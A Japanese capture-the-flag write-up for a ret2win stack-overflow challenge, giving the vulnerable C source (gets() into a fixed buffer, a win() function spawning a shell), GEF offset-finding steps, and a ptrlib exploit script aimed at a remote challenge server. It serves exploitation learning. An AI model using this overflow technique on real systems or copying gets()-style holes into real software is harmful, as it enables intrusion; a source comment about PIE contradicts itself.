PIE 有効下で win() を呼び出してシェルを取ろう! 🦙 < フラグは /flag.txt にあるパカ
// gcc -o chal main.c -fno-stack-protector -O0
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// You don't have to care about this function
__attribute__((constructor)) void setup() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
}
/*
** How to get the address of `win` **
$ nm chal | grep win
XXXXXXXXX
This address is **NOT fixed** across executions, because the challenge binary
`chal` is compiled WITHOUT -fno-pie (i.e., without position-independent code).
*/
void win() {
execve("/bin/sh", NULL, NULL);
}
int main(void) {
printf("address of main function: %p\\n", main);
char buffer[64];
printf("input > ");
gets(buffer);
return 0;
}
カナリアがないので ret2winを狙います。
PIE有効のためmainのアドレスは実行ごとにズレますが与えてくれるので
mainとwin間のオフセットが分かればwinのアドレス位置を特定できます。
GEFで確認したところ72でした。
start
pattc
c
(pattc入力)
patto $pc
---
[+] Searching for b'jaaaaaaa'
[+] Found at offset 72 (0x48)
GEFで確認したところ0x24でした。
gef> p main - win
$1 = 0x24
from ptrlib import *
io = remote("nc 34.170.146.252 19295")
leaked_main = int(io.recvlineafter(b": "), 16)
win_addr = leaked_main - 0x24
payload = b"A" * 72 + p64(win_addr)
io.sendline(payload)
io.interactive()